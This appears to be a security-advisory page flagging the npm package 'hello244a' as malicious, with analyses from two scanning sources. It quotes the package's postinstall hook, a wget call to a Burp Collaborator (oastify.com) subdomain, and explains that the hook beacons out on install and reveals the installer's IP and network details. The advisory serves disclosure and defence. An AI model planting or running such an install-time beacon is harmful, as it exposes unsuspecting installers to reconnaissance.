Vulnerability
Malicious code in hello244a (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (02e5f7412a9593e0ec3d0d8c28082c01edff82746bd48966c6fb88a3b1f88866) The package contains no library code, no main entry, and no documented functionality. Its only file is package.json, which declares a postinstall script: `wget --quiet "http://whh5mwn8dlvrjgpe32tqrnu3eukl8kw9.oastify.com/"`. On `npm install`, the lifecycle hook fires automatically and performs a plain-HTTP GET to a unique per-victim subdomain on oastify.com (Burp Suite Collaborator, an out-of-band interaction host). The DNS resolution and HTTP request disclose the installer's public IP, DNS resolver, hostname, and internal network position to whoever provisioned that Collaborator instance. The package has no purpose other than this beacon — it is the canonical dependency-confusion / typosquat-shell pattern used to fingerprint installers and prove exploitability of name-resolution weaknesses in private registries. ## Source: ossf-package-analysis (3d7e9578338cca22e41d1ac1345136162b5441eb57090bb89fbc73bd37976c71) The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.4 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence